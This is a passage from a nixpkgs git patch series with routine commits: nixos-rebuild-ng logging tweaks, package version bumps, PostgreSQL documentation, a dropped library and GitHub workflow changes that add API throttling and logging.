@@ -78,26 +74,6 @@ def test_build_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) ->
             "foo",
         ],
         stdout=PIPE,
-        stderr=None,
-    )
-
-    assert n.build_flake(
-        "config.system.build.toplevel",
-        flake,
-        None,
-        quiet=True,
-    ) == Path("/path/to/file")
-    mock_run.assert_called_with(
-        [
-            "nix",
-            "--extra-experimental-features",
-            "nix-command flakes",
-            "build",
-            "--print-out-paths",
-            '.#nixosConfigurations."hostname".config.system.build.toplevel',
-        ],
-        stdout=PIPE,
-        stderr=PIPE,
     )
 
 

From 06aeb8174fc625462e49dbac06571d1b8317474d Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Mon, 16 Jun 2025 20:57:12 +0100
Subject: [PATCH 1142/4511] nixos-rebuild-ng: improve log output

(cherry picked from commit 780f1c33baa58154726af2f298dbf77394f50be4)
---
 .../src/nixos_rebuild/__init__.py              | 18 ++++++++++--------
 .../ni/nixos-rebuild-ng/src/tests/test_main.py |  4 ++--
 2 files changed, 12 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index fd03e5b69ef4..838b8913abb3 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -13,7 +13,9 @@ from .models import Action, BuildAttr, Flake, ImageVariants, NRError, Profile
 from .process import Remote, cleanup_ssh
 from .utils import Args, LogFormatter, tabulate
 
-logger: Final = logging.getLogger()
+NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
+
+logger: Final = logging.getLogger(__name__)
 logger.setLevel(logging.INFO)
 
 
@@ -276,33 +278,33 @@ def reexec(
     flake_build_flags: Args,
 ) -> None:
     drv = None
-    attr = "config.system.build.nixos-rebuild"
     try:
         # Parsing the args here but ignore ask_sudo_password since it is not
         # needed and we would end up asking sudo password twice
         if flake := Flake.from_arg(args.flake, Remote.from_arg(args.target_host, None)):
             drv = nix.build_flake(
-                attr,
+                NIXOS_REBUILD_ATTR,
                 flake,
                 flake_build_flags | {"no_link": True},
             )
         else:
             build_attr = BuildAttr.from_arg(args.attr, args.file)
             drv = nix.build(
-                attr,
+                NIXOS_REBUILD_ATTR,
                 build_attr,
                 build_flags | {"no_out_link": True},
             )
     except CalledProcessError:
         logger.warning(
-            "could not build a newer version of nixos-rebuild, using current version"
+            "could not build a newer version of nixos-rebuild, using current version",
+            exc_info=logger.isEnabledFor(logging.DEBUG),
         )
 
     if drv:
         new = drv / f"bin/{EXECUTABLE}"
         current = Path(argv[0])
         if new != current:
-            logging.debug(
+            logger.debug(
                 "detected newer version of script, re-exec'ing, current=%s, new=%s",
                 current,
                 new,
@@ -319,9 +321,9 @@ def reexec(
                 # - Exec format error (e.g.: another OS/CPU arch)
                 logger.warning(
                     "could not re-exec in a newer version of nixos-rebuild, "
-                    + "using current version"
+                    + "using current version",
+                    exc_info=logger.isEnabledFor(logging.DEBUG),
                 )
-                logger.debug("re-exec exception", exc_info=True)
                 # We already run clean-up, let's re-exec in the current version
                 # to avoid issues
                 os.execve(current, argv, os.environ | {"_NIXOS_REBUILD_REEXEC": "1"})
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 59270b73ec38..a66d70498c5f 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -140,7 +140,7 @@ def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -
     mock_build.assert_has_calls(
         [
             call(
-                "config.system.build.nixos-rebuild",
+                nr.NIXOS_REBUILD_ATTR,
                 nr.models.BuildAttr(ANY, ANY),
                 {"build": True, "no_out_link": True},
             )
@@ -184,7 +184,7 @@ def test_reexec_flake(
 
     nr.reexec(argv, args, {"build": True}, {"flake": True})
     mock_build.assert_called_once_with(
-        "config.system.build.nixos-rebuild",
+        nr.NIXOS_REBUILD_ATTR,
         nr.models.Flake(ANY, ANY),
         {"flake": True, "no_link": True},
     )

From 1b7fdf3f9d432bb6b644000be57bce286184b8f2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 00:42:28 +0000
Subject: [PATCH 1143/4511] faircamp: 1.4.0 -> 1.4.2

(cherry picked from commit 5cf3f4b4841efb182a9f330ead17ef7e87bb3664)
---
 pkgs/by-name/fa/faircamp/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fa/faircamp/package.nix b/pkgs/by-name/fa/faircamp/package.nix
index 6508f3fe4c77..34f906501b14 100644
--- a/pkgs/by-name/fa/faircamp/package.nix
+++ b/pkgs/by-name/fa/faircamp/package.nix
@@ -15,19 +15,19 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "faircamp";
-  version = "1.4.0";
+  version = "1.4.2";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "simonrepp";
     repo = "faircamp";
     rev = version;
-    hash = "sha256-41mec9AdNdWRJz+5xFU7to/4LxIb7fEgm1EQVMAtyto=";
+    hash = "sha256-68wo95SjiCBS8cikMGZpnpYx7AqyIQ/szXMorirwVPk=";
   };
 
   useFetchCargoVendor = true;
 
-  cargoHash = "sha256-xLRoI4MN1DApL4jXBXnMzsqTaOVUn2FZy3o2mTetvJ8=";
+  cargoHash = "sha256-YyzzkWgjEKl46CfAkbFdum+AWCO0YGTXDh86mtHtCQs=";
 
   buildFeatures = [ "libvips" ];
 

From 53139a242fc947f787bdc2c1d0789c9f155a3bd7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 09:17:13 +0200
Subject: [PATCH 1144/4511] workflows/labels: improve logging

Printing the URL to the PR in the logs allows clicking on it directly in
the GitHub runner logs for easy reference.

(cherry picked from commit 022bbfd6633166d168512fbc3f53e9e6b8c1680b)
---
 .github/workflows/labels.yml | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 5d69dfe4e071..1eabb41ab558 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -105,6 +105,7 @@ jobs:
 
                   log('Last updated at', pull_request.updated_at)
                   if (new Date(pull_request.updated_at) < cutoff) return done()
+                  log('URL', pull_request.html_url)
 
                   const run_id = (await github.rest.actions.listWorkflowRuns({
                     ...context.repo,
@@ -118,7 +119,7 @@ jobs:
 
                   // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
                   // job will be run as part of that Eval run anyway.
-                  log('Last eval run', run_id)
+                  log('Last eval run', run_id ?? '<pending>')
                   if (!run_id) return;
 
                   const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
@@ -129,7 +130,7 @@ jobs:
 
                   // Instead of checking the boolean artifact.expired, we will give us a minute to
                   // actually download the artifact in the next step and avoid that race condition.
-                  log('Artifact expires at', artifact.expires_at)
+                  log('Artifact expires at', artifact?.expires_at ?? '<not found>')
                   if (new Date(artifact.expires_at) < new Date(new Date().getTime() + 60 * 1000)) return;
 
                   await artifactClient.downloadArtifact(artifact.id, {

From 6fa32c3bdce31f22a42d5592f8c14d09f7b59f8f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 09:18:27 +0200
Subject: [PATCH 1145/4511] workflows/labels: skip old PRs without the right
 artifacts

We don't need to handle the differently named artifacts in a special
way, because they have been expired anyway. But, we must handle the case
to not cause the job to fail.

(cherry picked from commit 5343c50acdb8c7540e74243d7878e7110be076af)
---
 .github/workflows/labels.yml | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1eabb41ab558..a694f3b1c1ac 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -130,8 +130,10 @@ jobs:
 
                   // Instead of checking the boolean artifact.expired, we will give us a minute to
                   // actually download the artifact in the next step and avoid that race condition.
+                  // Older PRs, where the workflow run was already eval.yml, but the artifact was not
+                  // called "comparison", yet, will be skipped as well.
                   log('Artifact expires at', artifact?.expires_at ?? '<not found>')
-                  if (new Date(artifact.expires_at) < new Date(new Date().getTime() + 60 * 1000)) return;
+                  if (new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)) return;
 
                   await artifactClient.downloadArtifact(artifact.id, {
                     findBy: {

From bc401b0a78a7ca331d9a1329942ac7467ffb347a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 09:40:10 +0200
Subject: [PATCH 1146/4511] workflows/labels: fix approved-by-maintainer label

Due to a type mismatch, maintainer approvals were never counted as such.
The API returns integers for the user IDs, but the JSON file has strings
as object keys.

(cherry picked from commit 25a0ee08173d87388d07af6fda634164b848c0d5)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index a694f3b1c1ac..37eb51abdecd 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -166,7 +166,7 @@ jobs:
 
                   const maintainers = new Set(Object.keys(
                     JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
-                  ))
+                  ).map(m => Number.parseInt(m, 10)))
 
                   // And the labels that should be there
                   const after = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels

From f7518d076e9a37fee54da6b358215360f880baa0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 09:48:54 +0200
Subject: [PATCH 1147/4511] workflows/labels: disable scheduled runs in forks

This can still be manually dispatched for testing in forks, but it's
entirely useless to keep running it on schedule.

Also removing the "skip treewide" condition, which was a left-over and
removed everywhere else already. We don't want to skip any jobs,
especially not when considering required status checks.

(cherry picked from commit 075dc097a304a943e281e7c7f8446cfb7bdd067d)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 37eb51abdecd..23a65afc5ac7 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -36,7 +36,7 @@ jobs:
   labels:
     name: label-pr
     runs-on: ubuntu-24.04-arm
-    if: "!contains(github.event.pull_request.title, '[skip treewide]')"
+    if: github.event_name != 'schedule' || github.repository_owner == 'NixOS'
     steps:
       - name: Install dependencies
         run: npm install @actions/artifact

From 1f7f64b47b8f8367a18981a4c8ee87533e03797d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 09:50:07 +0200
Subject: [PATCH 1148/4511] workflows/labels: run every 10 minutes

This will give us much quicker approval labeling, but still need much
less resources than before, when we ran on every PR comment.

(cherry picked from commit 656b53b0dd7b7d881a7ff9aa809d7815242560b1)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 23a65afc5ac7..9f8427124821 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -7,7 +7,7 @@ name: "Label PR"
 
 on:
   schedule:
-    - cron: '37 * * * *'
+    - cron: '07,17,27,37,47,57 * * * *'
   workflow_call:
   workflow_dispatch:
     inputs:

From 83a55ff34e21bae6bfe57d2f96975ebefb7f48f6 Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Fri, 13 Jun 2025 21:38:26 +1000
Subject: [PATCH 1149/4511] lolcat: fix local gem ignored warning

(cherry picked from commit 11da150d8ee7f8bcd97e25bd448612c36245453f)
---
 pkgs/tools/misc/lolcat/default.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/tools/misc/lolcat/default.nix b/pkgs/tools/misc/lolcat/default.nix
index b91c5c9967ee..3f7f79433d17 100644
--- a/pkgs/tools/misc/lolcat/default.nix
+++ b/pkgs/tools/misc/lolcat/default.nix
@@ -1,10 +1,11 @@
 {
   lib,
   bundlerApp,
+  ruby_3_4,
   bundlerUpdateScript,
 }:
 
-bundlerApp {
+(bundlerApp.override { ruby = ruby_3_4; }) {
   pname = "lolcat";
   gemdir = ./.;
   exes = [ "lolcat" ];

From e3fabc93602bd3b0ed4748c6cf983244b5830d50 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 14 Jun 2025 23:25:43 +0200
Subject: [PATCH 1150/4511] nixos/postgresql: fix docs on default package

Closes #416595

(cherry picked from commit e6cc23ba3f5ba406da5b4e1b045a23f0e8df41d3)
---
 .../modules/services/databases/postgresql.md  |  7 ++++++-
 .../modules/services/databases/postgresql.nix | 19 +++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/databases/postgresql.md b/nixos/modules/services/databases/postgresql.md
index e1256c9672f2..c07db1e00576 100644
--- a/nixos/modules/services/databases/postgresql.md
+++ b/nixos/modules/services/databases/postgresql.md
@@ -21,7 +21,12 @@ To enable PostgreSQL, add the following to your {file}`configuration.nix`:
   services.postgresql.package = pkgs.postgresql_15;
 }
 ```
-Note that you are required to specify the desired version of PostgreSQL (e.g. `pkgs.postgresql_15`). Since upgrading your PostgreSQL version requires a database dump and reload (see below), NixOS cannot provide a default value for [](#opt-services.postgresql.package) such as the most recent release of PostgreSQL.
+
+The default PostgreSQL version is approximately the latest major version available on the NixOS release
+matching your [`system.stateVersion`](#opt-system.stateVersion).
+This is because PostgreSQL upgrades require a manual migration process (see below).
+Hence, upgrades must happen by setting [`services.postgresql.package`](#opt-services.postgresql.package)
+explicitly.
 
 <!--
 After running {command}`nixos-rebuild`, you can verify
diff --git a/nixos/modules/services/databases/postgresql.nix b/nixos/modules/services/databases/postgresql.nix
index 48ff4c2a48ef..dc8b05b46458 100644
--- a/nixos/modules/services/databases/postgresql.nix
+++ b/nixos/modules/services/databases/postgresql.nix
@@ -120,8 +120,22 @@ in
 
       enableJIT = mkEnableOption "JIT support";
 
-      package = mkPackageOption pkgs "postgresql" {
-        example = "postgresql_15";
+      package = mkOption {
+        type = types.package;
+        example = literalExpression "pkgs.postgresql_15";
+        defaultText = literalExpression ''
+          if versionAtLeast config.system.stateVersion "24.11" then
+            pkgs.postgresql_16
+          else if versionAtLeast config.system.stateVersion "23.11" then
+            pkgs.postgresql_15
+          else if versionAtLeast config.system.stateVersion "22.05" then
+            pkgs.postgresql_14
+          else
+            pkgs.postgresql_13
+        '';
+        description = ''
+          The package being used by postgresql.
+        '';
       };
 
       finalPackage = mkOption {
@@ -656,6 +670,7 @@ in
             See also https://endoflife.date/postgresql
           '';
         base =
+          # XXX Don't forget to keep `defaultText` of `services.postgresql.package` up to date!
           if versionAtLeast config.system.stateVersion "24.11" then
             pkgs.postgresql_16
           else if versionAtLeast config.system.stateVersion "23.11" then

From 7af24ae0203386ad557a3435f38c0eda533bc8a0 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 15 Jun 2025 10:33:11 +0200
Subject: [PATCH 1151/4511] nixos/postgresql: doc review

Co-authored-by: Wolfgang Walther <walther@technowledgy.de>
(cherry picked from commit 2a6405fb153fab2718a77ad07160e400c6bd8748)
---
 nixos/modules/services/databases/postgresql.md | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/databases/postgresql.md b/nixos/modules/services/databases/postgresql.md
index c07db1e00576..a83918efc7cc 100644
--- a/nixos/modules/services/databases/postgresql.md
+++ b/nixos/modules/services/databases/postgresql.md
@@ -22,11 +22,9 @@ To enable PostgreSQL, add the following to your {file}`configuration.nix`:
 }
 ```
 
-The default PostgreSQL version is approximately the latest major version available on the NixOS release
-matching your [`system.stateVersion`](#opt-system.stateVersion).
+The default PostgreSQL version is approximately the latest major version available on the NixOS release matching your [`system.stateVersion`](#opt-system.stateVersion).
 This is because PostgreSQL upgrades require a manual migration process (see below).
-Hence, upgrades must happen by setting [`services.postgresql.package`](#opt-services.postgresql.package)
-explicitly.
+Hence, upgrades must happen by setting [`services.postgresql.package`](#opt-services.postgresql.package) explicitly.
 
 <!--
 After running {command}`nixos-rebuild`, you can verify

From d8c8e24027ccb5cf411a44e2cbd9e63af02428df Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Fri, 6 Jun 2025 13:57:15 +0200
Subject: [PATCH 1152/4511] =?UTF-8?q?radicle-{explorer,httpd}:=200.18.1=20?=
 =?UTF-8?q?=E2=86=92=200.19.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit d0a93ecbda813d2e80afa5b15d63dc3c74c14514)
---
 pkgs/by-name/ra/radicle-explorer/package.nix | 4 ++--
 pkgs/by-name/ra/radicle-httpd/package.nix    | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-explorer/package.nix b/pkgs/by-name/ra/radicle-explorer/package.nix
index 941f2f13c9f5..6c467f96b1e1 100644
--- a/pkgs/by-name/ra/radicle-explorer/package.nix
+++ b/pkgs/by-name/ra/radicle-explorer/package.nix
@@ -63,7 +63,7 @@ lib.fix (
   self:
   lib.makeOverridable (
     {
-      npmDepsHash ? "sha256-XBWwTgfiQX3oW8f4bhfjn85M6KbC6mcIxmwRg224asM=",
+      npmDepsHash ? "sha256-7/DH0p66FTfC0N42FhWTqehg5m/yq929ANhL4jAt7Ss=",
       patches ? [ ],
     }@args:
     buildNpmPackage {
@@ -77,7 +77,7 @@ lib.fix (
       # separate hash.
       src = fetchgit {
         inherit (radicle-httpd.src) url rev;
-        hash = "sha256-HQbyQWkp8YikSMMcX+zBfbscuUqDEGIe3oATtaHikZk=";
+        hash = "sha256-HRSrLdiDETTWNF+Rzvlg1XQerXcCE2xaY+6Xbq5pItI=";
       };
 
       postPatch = ''
diff --git a/pkgs/by-name/ra/radicle-httpd/package.nix b/pkgs/by-name/ra/radicle-httpd/package.nix
index 262de4fba351..365992ca2b1f 100644
--- a/pkgs/by-name/ra/radicle-httpd/package.nix
+++ b/pkgs/by-name/ra/radicle-httpd/package.nix
@@ -12,20 +12,20 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "radicle-httpd";
-  version = "0.18.1";
+  version = "0.19.1";
   env.RADICLE_VERSION = version;
 
   # You must update the radicle-explorer source hash when changing this.
   src = fetchgit {
     url = "https://seed.radicle.xyz/z4V1sjrXqjvFdnCUbxPFqd5p4DtH5.git";
     rev = "refs/namespaces/z6MkkfM3tPXNPrPevKr3uSiQtHPuwnNhu2yUVjgd2jXVsVz5/refs/tags/v${version}";
-    hash = "sha256-sXVeDlGY6jyi5/z7ilPwlU7b3pyLSKIqUfi0Usx6NT8=";
+    hash = "sha256-RDF36bEJg54DG/YgORGo+BwrHMfmd12FRCrP6fVvHPg=";
     sparseCheckout = [ "radicle-httpd" ];
   };
 
   sourceRoot = "${src.name}/radicle-httpd";
   useFetchCargoVendor = true;
-  cargoHash = "sha256-ILsrDrpBMY8X3ZpfyUdf342agP6E8d32LEQTYtV869o=";
+  cargoHash = "sha256-wSz0kM2XU717A0+mU+3eOHJWlRGdG9KjvfUkUq5bv14=";
 
   nativeBuildInputs = [
     asciidoctor

From ce0e7b253b8c7920985e6872d7e15a47152c2450 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 09:40:02 +0000
Subject: [PATCH 1153/4511] ovn: 25.03.0 -> 25.03.1

(cherry picked from commit d80e350e84d8021911f07a0b9497f3b37a8055d4)
---
 pkgs/by-name/ov/ovn/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ov/ovn/package.nix b/pkgs/by-name/ov/ovn/package.nix
index 88786f1d12af..dbc1e9b595ba 100644
--- a/pkgs/by-name/ov/ovn/package.nix
+++ b/pkgs/by-name/ov/ovn/package.nix
@@ -18,13 +18,13 @@
 
 stdenv.mkDerivation rec {
   pname = "ovn";
-  version = "25.03.0";
+  version = "25.03.1";
 
   src = fetchFromGitHub {
     owner = "ovn-org";
     repo = "ovn";
     tag = "v${version}";
-    hash = "sha256-UbCmXPft9SCsbPZ+GuTWIOUUhv+RaC55jNiTjsVBeRw=";
+    hash = "sha256-nDW3jwZ0RE9i+5+8eRKb7P7KQxiGd22dn/s7bzx/CjQ=";
     fetchSubmodules = true;
   };
 

From 812ff0b4db74701227759ffb3124a50ccccf03eb Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 12 Jun 2025 23:51:12 +0200
Subject: [PATCH 1154/4511] komikku: 1.77.0 -> 1.79.1

(cherry picked from commit faf06d7ae4c5656b20adbb373b83109239b4ce0d)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index 02f7d84fb77a..ce07ac8efaf5 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.77.0";
+  version = "1.79.1";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-UTAK8gzgOEuYw1S4htoInr8pCkx5s+/cblOfk/F6a4M=";
+    hash = "sha256-e3PRnltdYmHwGjjLgQfKXr+A+7spcRj4TzKIdNoMudM=";
   };
 
   nativeBuildInputs = [

From b7c94411b7357651665d5499277afe63e65b006c Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Mon, 16 Jun 2025 01:39:15 +0200
Subject: [PATCH 1155/4511] komikku: 1.79.1 -> 1.80.0

(cherry picked from commit 053f13c560377e6d5c316ae3068c7bd8bc749d26)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index ce07ac8efaf5..d753afe7a57b 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.79.1";
+  version = "1.80.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-e3PRnltdYmHwGjjLgQfKXr+A+7spcRj4TzKIdNoMudM=";
+    hash = "sha256-5+AosFjxaqhIoIz+mbin1oRdjuGj+p117aoHLxYqHDA=";
   };
 
   nativeBuildInputs = [

From b3699b568bbb44b18167cfeab74d145e6641cb34 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 15 Jun 2025 17:53:42 -0400
Subject: [PATCH 1156/4511] libpromhttp: drop

Unmaintained upstream, fails to build with gcc 14. Not dropping `libprom` because it's used by `coturn`

(cherry picked from commit c191e958f2b40808b82d48be76c422c0bd864106)
---
 .../libraries/prometheus-client-c/default.nix            | 9 ---------
 pkgs/top-level/aliases.nix                               | 1 +
 pkgs/top-level/all-packages.nix                          | 1 -
 3 files changed, 1 insertion(+), 10 deletions(-)

diff --git a/pkgs/development/libraries/prometheus-client-c/default.nix b/pkgs/development/libraries/prometheus-client-c/default.nix
index 340a87666c14..a33e20b7bd5b 100644
--- a/pkgs/development/libraries/prometheus-client-c/default.nix
+++ b/pkgs/development/libraries/prometheus-client-c/default.nix
@@ -68,13 +68,4 @@ rec {
     subdir = "prom";
     description = "Prometheus Client in C";
   };
-  libpromhttp = build {
-    pname = "libpromhttp";
-    subdir = "promhttp";
-    buildInputs = [
-      libmicrohttpd
-      libprom
-    ];
-    description = "Prometheus HTTP Endpoint in C";
-  };
 }
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 53d6fb5b3a8b..b3ea5dee2b05 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1007,6 +1007,7 @@ mapAliases {
   liboop = throw "liboop has been removed as it is unmaintained upstream."; # Added 2024-08-14
   libosmo-sccp = libosmo-sigtran; # Added 2024-12-20
   libpqxx_6 = throw "libpqxx_6 has been removed, please use libpqxx"; # Added 2024-10-02
+  libpromhttp = throw "'libpromhttp' has been removed as it is broken and unmaintained upstream."; # Added 2025-06-16
   libpulseaudio-vanilla = libpulseaudio; # Added 2022-04-20
   libqt5pas = libsForQt5.libqtpas; # Added 2024-12-25
   libquotient = libsForQt5.libquotient; # Added 2023-11-11
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 7892f234ba5d..5063e874cf20 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -8919,7 +8919,6 @@ with pkgs;
       stdenv = gccStdenv; # Required for darwin
     })
     libprom
-    libpromhttp
     ;
 
   libpulsar = callPackage ../development/libraries/libpulsar {

From 92359b8348d444433513902a6efd361f9bf3052a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 12:42:10 +0200
Subject: [PATCH 1157/4511] workflows/labels: log current API rate_limits

This will give us a little bit better insight into how close we're
running to the limits.

(cherry picked from commit 0e88d8a24d01e9b4c835193fa53cc06e0418451d)
---
 .github/workflows/labels.yml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 9f8427124821..06f205f838e3 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -41,6 +41,11 @@ jobs:
       - name: Install dependencies
         run: npm install @actions/artifact
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - name: Labels from API data and Eval results
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         env:

From 3f9e119795978c4785207c8c199cbba61aed527b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 13:38:06 +0200
Subject: [PATCH 1158/4511] workflows/labels: add bottleneck for throttling

This should prevent us from hitting API rate limits, even when we run
huge manual jobs. It just takes a bit longer.

(cherry picked from commit 114b4fcf48b1df8acd21082c89ee84cac704bc76)
---
 .github/workflows/labels.yml | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 06f205f838e3..d1d846aa9fa1 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -39,7 +39,7 @@ jobs:
     if: github.event_name != 'schedule' || github.repository_owner == 'NixOS'
     steps:
       - name: Install dependencies
-        run: npm install @actions/artifact
+        run: npm install @actions/artifact bottleneck
 
       - name: Log current API rate limits
         env:
@@ -52,12 +52,34 @@ jobs:
           UPDATED_WITHIN: ${{ inputs.updatedWithin }}
         with:
           script: |
+            const Bottleneck = require('bottleneck')
             const path = require('node:path')
             const { DefaultArtifactClient } = require('@actions/artifact')
             const { readFile } = require('node:fs/promises')
 
             const artifactClient = new DefaultArtifactClient()
 
+            // Rate-Limiting and Throttling, see for details:
+            //   https://github.com/octokit/octokit.js/issues/1069#throttling
+            //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
+            const allLimits = new Bottleneck({
+              // Avoid concurrent requests
+              maxConcurrent: 1,
+              // Hourly limit is at 5000, but other jobs need some, too!
+              // https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api
+              reservoir: 1000,
+              reservoirRefreshAmount: 1000,
+              reservoirRefreshInterval: 60 * 60 * 1000
+            })
+            // Pause between mutative requests
+            const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
+            github.hook.wrap('request', async (request, options) => {
+              if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
+                return writeLimits.schedule(request.bind(null, options))
+              else
+                return allLimits.schedule(request.bind(null, options))
+            })
+
             if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN))
               throw new Error('Please enter "updated within" as integer in hours.')
 

From 7d50d6a984dd1a2847aa49c6219d05f2edeb41d6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 14:01:45 +0200
Subject: [PATCH 1159/4511] workflows/labels: improve logging for skipped PRs

Conditions that cause a PR to be skipped are now marked clearly in the
log output.

(cherry picked from commit f3b67f4eb5a1f757a0e784f6197e14a9d9cbcd80)
---
